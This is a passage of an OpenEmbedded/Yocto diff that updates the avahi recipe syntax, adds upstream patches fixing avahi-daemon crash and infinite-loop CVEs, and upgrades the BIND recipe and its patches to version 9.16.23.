@@ -62,18 +67,18 @@ EXTRA_OECONF = "--with-avahi-priv-access-group=adm \
# The distro choice determines what init scripts are installed
EXTRA_OECONF_SYSVINIT = "${@bb.utils.contains('DISTRO_FEATURES','sysvinit','--with-distro=debian','--with-distro=none',d)}"
-EXTRA_OECONF_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES','systemd','--with-systemdsystemunitdir=${systemd_unitdir}/system/','--without-systemdsystemunitdir',d)}"
+EXTRA_OECONF_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES','systemd','--with-systemdsystemunitdir=${systemd_system_unitdir}/','--without-systemdsystemunitdir',d)}"
-do_configure_prepend() {
+do_configure:prepend() {
# This m4 file will get in the way of our introspection.m4 with special cross-compilation fixes
rm "${S}/common/introspection.m4" || true
}
-do_compile_prepend() {
+do_compile:prepend() {
export GIR_EXTRA_LIBS_PATH="${B}/avahi-gobject/.libs:${B}/avahi-common/.libs:${B}/avahi-client/.libs:${B}/avahi-glib/.libs"
}
-RRECOMMENDS_${PN}_append_libc-glibc = " libnss-mdns"
+RRECOMMENDS:${PN}:append:libc-glibc = " libnss-mdns"
do_install() {
autotools_do_install
@@ -90,41 +95,41 @@ do_install() {
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "libdns_sd", "libavahi-compat-libdnssd", "", d)}"
-FILES_libavahi-compat-libdnssd = "${libdir}/libdns_sd.so.*"
+FILES:libavahi-compat-libdnssd = "${libdir}/libdns_sd.so.*"
-RPROVIDES_libavahi-compat-libdnssd = "libdns-sd"
+RPROVIDES:libavahi-compat-libdnssd = "libdns-sd"
inherit update-rc.d systemd useradd
PACKAGES =+ "libavahi-gobject avahi-daemon libavahi-common libavahi-core libavahi-client avahi-dnsconfd libavahi-glib avahi-autoipd avahi-utils avahi-discover avahi-ui"
-FILES_avahi-ui = "${libdir}/libavahi-ui*.so.*"
-FILES_avahi-discover = "${datadir}/applications/avahi-discover.desktop \
+FILES:avahi-ui = "${libdir}/libavahi-ui*.so.*"
+FILES:avahi-discover = "${datadir}/applications/avahi-discover.desktop \
${datadir}/avahi/interfaces/avahi-discover.ui \
${bindir}/avahi-discover-standalone \
"
-LICENSE_libavahi-gobject = "LGPLv2.1+"
-LICENSE_avahi-daemon = "LGPLv2.1+"
-LICENSE_libavahi-common = "LGPLv2.1+"
-LICENSE_libavahi-core = "LGPLv2.1+"
-LICENSE_libavahi-client = "LGPLv2.1+"
-LICENSE_avahi-dnsconfd = "LGPLv2.1+"
-LICENSE_libavahi-glib = "LGPLv2.1+"
-LICENSE_avahi-autoipd = "LGPLv2.1+"
-LICENSE_avahi-utils = "LGPLv2.1+"
+LICENSE:libavahi-gobject = "LGPLv2.1+"
+LICENSE:avahi-daemon = "LGPLv2.1+"
+LICENSE:libavahi-common = "LGPLv2.1+"
+LICENSE:libavahi-core = "LGPLv2.1+"
+LICENSE:libavahi-client = "LGPLv2.1+"
+LICENSE:avahi-dnsconfd = "LGPLv2.1+"
+LICENSE:libavahi-glib = "LGPLv2.1+"
+LICENSE:avahi-autoipd = "LGPLv2.1+"
+LICENSE:avahi-utils = "LGPLv2.1+"
# As avahi doesn't put any files into PN, clear the files list to avoid problems
# if extra libraries appear.
-FILES_${PN} = ""
-FILES_avahi-autoipd = "${sbindir}/avahi-autoipd \
+FILES:${PN} = ""
+FILES:avahi-autoipd = "${sbindir}/avahi-autoipd \
${sysconfdir}/avahi/avahi-autoipd.action \
${sysconfdir}/dhcp/*/avahi-autoipd \
${sysconfdir}/udhcpc.d/00avahi-autoipd \
${sysconfdir}/udhcpc.d/99avahi-autoipd"
-FILES_libavahi-common = "${libdir}/libavahi-common.so.*"
-FILES_libavahi-core = "${libdir}/libavahi-core.so.* ${libdir}/girepository-1.0/AvahiCore*.typelib"
-FILES_avahi-daemon = "${sbindir}/avahi-daemon \
+FILES:libavahi-common = "${libdir}/libavahi-common.so.*"
+FILES:libavahi-core = "${libdir}/libavahi-core.so.* ${libdir}/girepository-1.0/AvahiCore*.typelib"
+FILES:avahi-daemon = "${sbindir}/avahi-daemon \
${sysconfdir}/avahi/avahi-daemon.conf \
${sysconfdir}/avahi/hosts \
${sysconfdir}/avahi/services \
@@ -134,44 +139,44 @@ FILES_avahi-daemon = "${sbindir}/avahi-daemon \
${datadir}/avahi/avahi-service.dtd \
${datadir}/avahi/service-types \
${datadir}/dbus-1/system-services"
-FILES_libavahi-client = "${libdir}/libavahi-client.so.*"
-FILES_avahi-dnsconfd = "${sbindir}/avahi-dnsconfd \
+FILES:libavahi-client = "${libdir}/libavahi-client.so.*"
+FILES:avahi-dnsconfd = "${sbindir}/avahi-dnsconfd \
${sysconfdir}/avahi/avahi-dnsconfd.action \
${sysconfdir}/init.d/avahi-dnsconfd"
-FILES_libavahi-glib = "${libdir}/libavahi-glib.so.*"
-FILES_libavahi-gobject = "${libdir}/libavahi-gobject.so.* ${libdir}/girepository-1.0/Avahi*.typelib"
-FILES_avahi-utils = "${bindir}/avahi-* ${bindir}/b* ${datadir}/applications/b*"
+FILES:libavahi-glib = "${libdir}/libavahi-glib.so.*"
+FILES:libavahi-gobject = "${libdir}/libavahi-gobject.so.* ${libdir}/girepository-1.0/Avahi*.typelib"
+FILES:avahi-utils = "${bindir}/avahi-* ${bindir}/b* ${datadir}/applications/b*"
-RDEPENDS_${PN}-dev = "avahi-daemon (= ${EXTENDPKGV}) libavahi-core (= ${EXTENDPKGV})"
-RDEPENDS_${PN}-dev += "${@["", " libavahi-client (= ${EXTENDPKGV})"][bb.utils.contains('PACKAGECONFIG', 'dbus', 1, 0, d)]}"
-RDEPENDS_${PN}-dnsconfd = "${PN}-daemon"
+RDEPENDS:${PN}-dev = "avahi-daemon (= ${EXTENDPKGV}) libavahi-core (= ${EXTENDPKGV})"
+RDEPENDS:${PN}-dev += "${@["", " libavahi-client (= ${EXTENDPKGV})"][bb.utils.contains('PACKAGECONFIG', 'dbus', 1, 0, d)]}"
+RDEPENDS:${PN}-dnsconfd = "${PN}-daemon"
-RRECOMMENDS_avahi-daemon_append_libc-glibc = " libnss-mdns"
+RRECOMMENDS:avahi-daemon:append:libc-glibc = " libnss-mdns"
-CONFFILES_avahi-daemon = "${sysconfdir}/avahi/avahi-daemon.conf"
+CONFFILES:avahi-daemon = "${sysconfdir}/avahi/avahi-daemon.conf"
USERADD_PACKAGES = "avahi-daemon avahi-autoipd"
-USERADD_PARAM_avahi-daemon = "--system --home /run/avahi-daemon \
+USERADD_PARAM:avahi-daemon = "--system --home /run/avahi-daemon \
--no-create-home --shell /bin/false \
--user-group avahi"
-USERADD_PARAM_avahi-autoipd = "--system --home /run/avahi-autoipd \
+USERADD_PARAM:avahi-autoipd = "--system --home /run/avahi-autoipd \
--no-create-home --shell /bin/false \
--user-group \
-c \"Avahi autoip daemon\" \
avahi-autoipd"
INITSCRIPT_PACKAGES = "avahi-daemon avahi-dnsconfd"
-INITSCRIPT_NAME_avahi-daemon = "avahi-daemon"
-INITSCRIPT_PARAMS_avahi-daemon = "defaults 21 19"
-INITSCRIPT_NAME_avahi-dnsconfd = "avahi-dnsconfd"
-INITSCRIPT_PARAMS_avahi-dnsconfd = "defaults 22 19"
+INITSCRIPT_NAME:avahi-daemon = "avahi-daemon"
+INITSCRIPT_PARAMS:avahi-daemon = "defaults 21 19"
+INITSCRIPT_NAME:avahi-dnsconfd = "avahi-dnsconfd"
+INITSCRIPT_PARAMS:avahi-dnsconfd = "defaults 22 19"
SYSTEMD_PACKAGES = "${PN}-daemon ${PN}-dnsconfd"
-SYSTEMD_SERVICE_${PN}-daemon = "avahi-daemon.service"
-SYSTEMD_SERVICE_${PN}-dnsconfd = "avahi-dnsconfd.service"
+SYSTEMD_SERVICE:${PN}-daemon = "avahi-daemon.service"
+SYSTEMD_SERVICE:${PN}-dnsconfd = "avahi-dnsconfd.service"
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}/udhcpc.d
install ${WORKDIR}/00avahi-autoipd ${D}${sysconfdir}/udhcpc.d
install ${WORKDIR}/99avahi-autoipd ${D}${sysconfdir}/udhcpc.d
@@ -179,7 +184,7 @@ do_install_append() {
# At the time the postinst runs, dbus might not be setup so only restart if running
# Don't exit early, because update-rc.d needs to run subsequently.
-pkg_postinst_avahi-daemon () {
+pkg_postinst:avahi-daemon () {
if [ -z "$D" ]; then
killall -q -HUP dbus-daemon || true
fi
diff --git a/meta/recipes-connectivity/avahi/files/handle-hup.patch b/meta/recipes-connectivity/avahi/files/handle-hup.patch
new file mode 100644
index 0000000000..26632e5443
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/handle-hup.patch
@@ -0,0 +1,41 @@
+CVE: CVE-2021-3468
+Upstream-Status: Submitted [https://github.com/lathiat/avahi/pull/330]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 447affe29991ee99c6b9732fc5f2c1048a611d3b Mon Sep 17 00:00:00 2001
+From: Riccardo Schirone <sirmy15@gmail.com>
+Date: Fri, 26 Mar 2021 11:50:24 +0100
+Subject: [PATCH] Avoid infinite-loop in avahi-daemon by handling HUP event in
+ client_work
+
+If a client fills the input buffer, client_work() disables the
+AVAHI_WATCH_IN event, thus preventing the function from executing the
+`read` syscall the next times it is called. However, if the client then
+terminates the connection, the socket file descriptor receives a HUP
+event, which is not handled, thus the kernel keeps marking the HUP event
+as occurring. While iterating over the file descriptors that triggered
+an event, the client file descriptor will keep having the HUP event and
+the client_work() function is always called with AVAHI_WATCH_HUP but
+without nothing being done, thus entering an infinite loop.
+
+See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984938
+---
+ avahi-daemon/simple-protocol.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/avahi-daemon/simple-protocol.c b/avahi-daemon/simple-protocol.c
+index 3e0ebb11..6c0274d6 100644
+--- a/avahi-daemon/simple-protocol.c
++++ b/avahi-daemon/simple-protocol.c
+@@ -424,6 +424,11 @@ static void client_work(AvahiWatch *watch, AVAHI_GCC_UNUSED int fd, AvahiWatchEv
+ }
+ }
+
++ if (events & AVAHI_WATCH_HUP) {
++ client_free(c);
++ return;
++ }
++
+ c->server->poll_api->watch_update(
+ watch,
+ (c->outbuf_length > 0 ? AVAHI_WATCH_OUT : 0) |
diff --git a/meta/recipes-connectivity/avahi/files/local-ping.patch b/meta/recipes-connectivity/avahi/files/local-ping.patch
new file mode 100644
index 0000000000..29c192d296
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/local-ping.patch
@@ -0,0 +1,153 @@
+CVE: CVE-2021-36217
+CVE: CVE-2021-3502
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 9d31939e55280a733d930b15ac9e4dda4497680c Mon Sep 17 00:00:00 2001
+From: Tommi Rantala <tommi.t.rantala@nokia.com>
+Date: Mon, 8 Feb 2021 11:04:43 +0200
+Subject: [PATCH] Fix NULL pointer crashes from #175
+
+avahi-daemon is crashing when running "ping .local".
+The crash is due to failing assertion from NULL pointer.
+Add missing NULL pointer checks to fix it.
+
+Introduced in #175 - merge commit 8f75a045709a780c8cf92a6a21e9d35b593bdecd
+---
+ avahi-core/browse-dns-server.c | 5 ++++-
+ avahi-core/browse-domain.c | 5 ++++-
+ avahi-core/browse-service-type.c | 3 +++
+ avahi-core/browse-service.c | 3 +++
+ avahi-core/browse.c | 3 +++
+ avahi-core/resolve-address.c | 5 ++++-
+ avahi-core/resolve-host-name.c | 5 ++++-
+ avahi-core/resolve-service.c | 5 ++++-
+ 8 files changed, 29 insertions(+), 5 deletions(-)
+
+diff --git a/avahi-core/browse-dns-server.c b/avahi-core/browse-dns-server.c
+index 049752e9..c2d914fa 100644
+--- a/avahi-core/browse-dns-server.c
++++ b/avahi-core/browse-dns-server.c
+@@ -343,7 +343,10 @@ AvahiSDNSServerBrowser *avahi_s_dns_server_browser_new(
+ AvahiSDNSServerBrowser* b;
+
+ b = avahi_s_dns_server_browser_prepare(server, interface, protocol, domain, type, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_dns_server_browser_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/browse-domain.c b/avahi-core/browse-domain.c
+index f145d56a..06fa70c0 100644
+--- a/avahi-core/browse-domain.c
++++ b/avahi-core/browse-domain.c
+@@ -253,7 +253,10 @@ AvahiSDomainBrowser *avahi_s_domain_browser_new(
+ AvahiSDomainBrowser *b;
+
+ b = avahi_s_domain_browser_prepare(server, interface, protocol, domain, type, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_domain_browser_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/browse-service-type.c b/avahi-core/browse-service-type.c
+index fdd22dcd..b1fc7af8 100644
+--- a/avahi-core/browse-service-type.c
++++ b/avahi-core/browse-service-type.c
+@@ -171,6 +171,9 @@ AvahiSServiceTypeBrowser *avahi_s_service_type_browser_new(
+ AvahiSServiceTypeBrowser *b;
+
+ b = avahi_s_service_type_browser_prepare(server, interface, protocol, domain, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_type_browser_start(b);
+
+ return b;
+diff --git a/avahi-core/browse-service.c b/avahi-core/browse-service.c
+index 5531360c..63e0275a 100644
+--- a/avahi-core/browse-service.c
++++ b/avahi-core/browse-service.c
+@@ -184,6 +184,9 @@ AvahiSServiceBrowser *avahi_s_service_browser_new(
+ AvahiSServiceBrowser *b;
+
+ b = avahi_s_service_browser_prepare(server, interface, protocol, service_type, domain, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_browser_start(b);
+
+ return b;
+diff --git a/avahi-core/browse.c b/avahi-core/browse.c
+index 2941e579..e8a915e9 100644
+--- a/avahi-core/browse.c
++++ b/avahi-core/browse.c
+@@ -634,6 +634,9 @@ AvahiSRecordBrowser *avahi_s_record_browser_new(
+ AvahiSRecordBrowser *b;
+
+ b = avahi_s_record_browser_prepare(server, interface, protocol, key, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_record_browser_start_query(b);
+
+ return b;
+diff --git a/avahi-core/resolve-address.c b/avahi-core/resolve-address.c
+index ac0b29b1..e61dd242 100644
+--- a/avahi-core/resolve-address.c
++++ b/avahi-core/resolve-address.c
+@@ -286,7 +286,10 @@ AvahiSAddressResolver *avahi_s_address_resolver_new(
+ AvahiSAddressResolver *b;
+
+ b = avahi_s_address_resolver_prepare(server, interface, protocol, address, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_address_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/resolve-host-name.c b/avahi-core/resolve-host-name.c
+index 808b0e72..4e8e5973 100644
+--- a/avahi-core/resolve-host-name.c
++++ b/avahi-core/resolve-host-name.c
+@@ -318,7 +318,10 @@ AvahiSHostNameResolver *avahi_s_host_name_resolver_new(
+ AvahiSHostNameResolver *b;
+
+ b = avahi_s_host_name_resolver_prepare(server, interface, protocol, host_name, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_host_name_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/resolve-service.c b/avahi-core/resolve-service.c
+index 66bf3cae..43771763 100644
+--- a/avahi-core/resolve-service.c
++++ b/avahi-core/resolve-service.c
+@@ -519,7 +519,10 @@ AvahiSServiceResolver *avahi_s_service_resolver_new(
+ AvahiSServiceResolver *b;
+
+ b = avahi_s_service_resolver_prepare(server, interface, protocol, name, type, domain, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/0001-avoid-start-failure-with-bind-user.patch b/meta/recipes-connectivity/bind/bind-9.16.23/0001-avoid-start-failure-with-bind-user.patch
index 8db96ec049..ec1bc7b567 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/0001-avoid-start-failure-with-bind-user.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/0001-avoid-start-failure-with-bind-user.patch
@@ -17,7 +17,7 @@ index b2eec60..6e03936 100644
@@ -57,6 +57,7 @@ case "$1" in
modprobe capability >/dev/null 2>&1 || true
if [ ! -f /etc/bind/rndc.key ]; then
- /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
+ /usr/sbin/rndc-confgen -a -b 512
+ chown root:bind /etc/bind/rndc.key >/dev/null 2>&1 || true
chmod 0640 /etc/bind/rndc.key
fi
diff --git a/meta/recipes-connectivity/bind/bind-9.16.23/0001-named-lwresd-V-and-start-log-hide-build-options.patch b/meta/recipes-connectivity/bind/bind-9.16.23/0001-named-lwresd-V-and-start-log-hide-build-options.patch
new file mode 100644
index 0000000000..4dc6a5a2ae
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/0001-named-lwresd-V-and-start-log-hide-build-options.patch
@@ -0,0 +1,37 @@
+From f5761bbaf743d291f3e7e859e69ebe61a1718cbf Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Mon, 27 Aug 2018 21:24:20 +0800
+Subject: [PATCH] `named/lwresd -V' and start log hide build options
+
+The build options expose build path directories, so hide them.
+[snip]
+$ named -V
+|built by make with *** (options are hidden)
+[snip]
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+Refreshed for 9.16.0
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+---
+ bin/named/include/named/globals.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/bin/named/include/named/globals.h b/bin/named/include/named/globals.h
+index 0572154..3147e04 100644
+--- a/bin/named/include/named/globals.h
++++ b/bin/named/include/named/globals.h
+@@ -69,7 +69,7 @@ EXTERN const char *named_g_version INIT(VERSION);
+ EXTERN const char *named_g_product INIT(PRODUCT);
+ EXTERN const char *named_g_description INIT(DESCRIPTION);
+ EXTERN const char *named_g_srcid INIT(SRCID);
+-EXTERN const char *named_g_configargs INIT(CONFIGARGS);
++EXTERN const char *named_g_configargs INIT("*** (options are hidden)");
+ EXTERN const char *named_g_builder INIT(BUILDER);
+ EXTERN in_port_t named_g_port INIT(0);
+ EXTERN isc_dscp_t named_g_dscp INIT(-1);
+--
+2.20.1
+
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/bind-ensure-searching-for-json-headers-searches-sysr.patch b/meta/recipes-connectivity/bind/bind-9.16.23/bind-ensure-searching-for-json-headers-searches-sysr.patch
index f9cdc7ca4d..f9cdc7ca4d 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/bind-ensure-searching-for-json-headers-searches-sysr.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/bind-ensure-searching-for-json-headers-searches-sysr.patch
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/bind9 b/meta/recipes-connectivity/bind/bind-9.16.23/bind9
index 968679ff7f..968679ff7f 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/bind9
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/bind9
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/conf.patch b/meta/recipes-connectivity/bind/bind-9.16.23/conf.patch
index aad345f9fc..aa3642acec 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/conf.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/conf.patch
@@ -276,7 +276,7 @@ diff -urN bind-9.3.1.orig/init.d bind-9.3.1/init.d
+
+ modprobe capability >/dev/null 2>&1 || true
+ if [ ! -f /etc/bind/rndc.key ]; then
-+ /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
++ /usr/sbin/rndc-confgen -a -b 512
+ chmod 0640 /etc/bind/rndc.key
+ fi
+ if [ -f /var/run/named/named.pid ]; then
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/generate-rndc-key.sh b/meta/recipes-connectivity/bind/bind-9.16.23/generate-rndc-key.sh
index 633e29c0e6..633e29c0e6 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/generate-rndc-key.sh
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/generate-rndc-key.sh
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/init.d-add-support-for-read-only-rootfs.patch b/meta/recipes-connectivity/bind/bind-9.16.23/init.d-add-support-for-read-only-rootfs.patch
index 11db95ede1..11db95ede1 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/init.d-add-support-for-read-only-rootfs.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/init.d-add-support-for-read-only-rootfs.patch
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/make-etc-initd-bind-stop-work.patch b/meta/recipes-connectivity/bind/bind-9.16.23/make-etc-initd-bind-stop-work.patch
index 146f3e35db..146f3e35db 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/make-etc-initd-bind-stop-work.patch
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/make-etc-initd-bind-stop-work.patch
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/named.service b/meta/recipes-connectivity/bind/bind-9.16.23/named.service
index cda56ef015..cda56ef015 100644
--- a/meta/recipes-connectivity/bind/bind-9.16.7/named.service
+++ b/meta/recipes-connectivity/bind/bind-9.16.23/named.service
diff --git a/meta/recipes-connectivity/bind/bind-9.16.7/0001-named-lwresd-V-and-start-log-hide-build-options.patch b/meta/recipes-connectivity/bind/bind-9.16.7/0001-named-lwresd-V-and-start-log-hide-build-options.patch
deleted file mode 100644
index 5bcc16c9b2..0000000000
--- a/meta/recipes-connectivity/bind/bind-9.16.7/0001-named-lwresd-V-and-start-log-hide-build-options.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From a3af4a405baf5ff582e82aaba392dd9667d94bdc Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 27 Aug 2018 21:24:20 +0800
-Subject: [PATCH] `named/lwresd -V' and start log hide build options
-
-The build options expose build path directories, so hide them.
-[snip]
-$ named -V
-|built by make with *** (options are hidden)
-[snip]
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Refreshed for 9.16.0
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- bin/named/include/named/globals.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: bind-9.16.0/bin/named/include/named/globals.h
-===================================================================
---- bind-9.16.0.orig/bin/named/include/named/globals.h
-+++ bind-9.16.0/bin/named/include/named/globals.h
-@@ -69,7 +69,7 @@ EXTERN const char *named_g_version I
- EXTERN const char *named_g_product INIT(PRODUCT);
- EXTERN const char *named_g_description INIT(DESCRIPTION);
- EXTERN const char *named_g_srcid INIT(SRCID);
--EXTERN const char *named_g_configargs INIT(CONFIGARGS);
-+EXTERN const char *named_g_configargs INIT("*** (options are hidden)");
- EXTERN const char *named_g_builder INIT(BUILDER);
- EXTERN in_port_t named_g_port INIT(0);
- EXTERN isc_dscp_t named_g_dscp INIT(-1);
diff --git a/meta/recipes-connectivity/bind/bind_9.16.23.bb b/meta/recipes-connectivity/bind/bind_9.16.23.bb
new file mode 100644
index 0000000000..c1bf250c26
--- /dev/null
+++ b/meta/recipes-connectivity/bind/bind_9.16.23.bb
@@ -0,0 +1,129 @@
+SUMMARY = "ISC Internet Domain Name Server"
+HOMEPAGE = "https://www.isc.org/bind/"
+DESCRIPTION = "BIND 9 provides a full-featured Domain Name Server system"
+SECTION = "console/network"
+
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=ef10b4de6371115dcecdc38ca2af4561"
+
+DEPENDS = "openssl libcap zlib libuv"
+
+SRC_URI = "https://ftp.isc.org/isc/bind9/${PV}/${BPN}-${PV}.tar.xz \
+ file://conf.patch \
+ file://named.service \
+ file://bind9 \
+ file://generate-rndc-key.sh \
+ file://make-etc-initd-bind-stop-work.patch \
+ file://init.d-add-support-for-read-only-rootfs.patch \
+ file://bind-ensure-searching-for-json-headers-searches-sysr.patch \
+ file://0001-named-lwresd-V-and-start-log-hide-build-options.patch \
+ file://0001-avoid-start-failure-with-bind-user.patch \
+ "
+
+SRC_URI[sha256sum] = "dedb5e27aa9cb6a9ce3e872845887ff837b99e4e9a91a5e2fcd67cf6e1ef173c"
+
+UPSTREAM_CHECK_URI = "https://ftp.isc.org/isc/bind9/"
+# stay at 9.16 follow the ESV versions divisible by 4
+UPSTREAM_CHECK_REGEX = "(?P<pver>9.(16|20|24|28)(\.\d+)+(-P\d+)*)/"
+
+# Issue only affects dhcpd with recent bind versions. We don't ship dhcpd anymore
+# so the issue doesn't affect us.
+CVE_CHECK_WHITELIST += "CVE-2019-6470"
+
+inherit autotools update-rc.d systemd useradd pkgconfig multilib_header update-alternatives
+
+# PACKAGECONFIGs readline and libedit should NOT be set at same time
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[httpstats] = "--with-libxml2=${STAGING_DIR_HOST}${prefix},--without-libxml2,libxml2"
+PACKAGECONFIG[readline] = "--with-readline=-lreadline,,readline"
+PACKAGECONFIG[libedit] = "--with-readline=-ledit,,libedit"
+PACKAGECONFIG[python3] = "--with-python=yes --with-python-install-dir=${PYTHON_SITEPACKAGES_DIR} , --without-python, python3-ply-native,"
+
+EXTRA_OECONF = " --with-libtool --disable-devpoll --disable-auto-validation --enable-epoll \
+ --with-gssapi=no --with-lmdb=no --with-zlib \
+ --sysconfdir=${sysconfdir}/bind \
+ --with-openssl=${STAGING_DIR_HOST}${prefix} \
+ "
+LDFLAGS:append = " -lz"
+
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native distutils3-base', '', d)}
+
+# dhcp needs .la so keep them
+REMOVE_LIBTOOL_LA = "0"
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --home ${localstatedir}/cache/bind --no-create-home \
+ --user-group bind"
+
+INITSCRIPT_NAME = "bind"
+INITSCRIPT_PARAMS = "defaults"
+
+SYSTEMD_SERVICE:${PN} = "named.service"
+
+do_install:append() {
+
+ install -d -o bind "${D}${localstatedir}/cache/bind"
+ install -d "${D}${sysconfdir}/bind"
+ install -d "${D}${sysconfdir}/init.d"
+ install -m 644 ${S}/conf/* "${D}${sysconfdir}/bind/"
+ install -m 755 "${S}/init.d" "${D}${sysconfdir}/init.d/bind"
+ if ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'true', 'false', d)}; then
+ sed -i -e '1s,#!.*python3,#! /usr/bin/python3,' \
+ ${D}${sbindir}/dnssec-coverage \
+ ${D}${sbindir}/dnssec-checkds \
+ ${D}${sbindir}/dnssec-keymgr
+ fi
+
+ # Install systemd related files
+ install -d ${D}${sbindir}
+ install -m 755 ${WORKDIR}/generate-rndc-key.sh ${D}${sbindir}
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/named.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/named.service
+
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/bind9 ${D}${sysconfdir}/default
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ echo "d /run/named 0755 bind bind - -" > ${D}${sysconfdir}/tmpfiles.d/bind.conf
+ fi
+
+ oe_multilib_header isc/platform.h
+}
+
+CONFFILES:${PN} = " \
+ ${sysconfdir}/bind/named.conf \
+ ${sysconfdir}/bind/named.conf.local \
+ ${sysconfdir}/bind/named.conf.options \
+ ${sysconfdir}/bind/db.0 \
+ ${sysconfdir}/bind/db.127 \
+ ${sysconfdir}/bind/db.empty \
+ ${sysconfdir}/bind/db.local \
+ ${sysconfdir}/bind/db.root \
+ "
+
+ALTERNATIVE:${PN}-utils = "nslookup"
+ALTERNATIVE_LINK_NAME[nslookup] = "${bindir}/nslookup"
+ALTERNATIVE_PRIORITY = "100"
+
+PACKAGE_BEFORE_PN += "${PN}-utils"
+FILES:${PN}-utils = "${bindir}/host ${bindir}/dig ${bindir}/mdig ${bindir}/nslookup ${bindir}/nsupdate"
+FILES:${PN}-dev += "${bindir}/isc-config.h"
+FILES:${PN} += "${sbindir}/generate-rndc-key.sh"
+
+PACKAGE_BEFORE_PN += "${PN}-libs"
+# special arrangement below due to
+# https://github.com/isc-projects/bind9/commit/0e25af628cd776f98c04fc4cc59048f5448f6c88
+FILES_SOLIBSDEV = "${libdir}/*[!0-9].so ${libdir}/libbind9.so"
+FILES:${PN}-libs = "${libdir}/named/*.so* ${libdir}/*-${PV}.so"
+FILES:${PN}-staticdev += "${libdir}/*.la"
+
+PACKAGE_BEFORE_PN += "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-bind', '', d)}"
+FILES:python3-bind = "${sbindir}/dnssec-coverage ${sbindir}/dnssec-checkds \
+ ${sbindir}/dnssec-keymgr ${PYTHON_SITEPACKAGES_DIR}"
+
+RDEPENDS:${PN}-dev = ""
+RDEPENDS:python3-bind = "python3-core python3-ply"
diff --git a/meta/recipes-connectivity/bind/bind_9.16.7.bb b/meta/recipes-connectivity/bind/bind_9.16.7.bb
deleted file mode 100644
index fbe3de63cb..0000000000
--- a/meta/recipes-connectivity/bind/bind_9.16.7.bb
+++ /dev/null
@@ -1,123 +0,0 @@
-SUMMARY = "ISC Internet Domain Name Server"
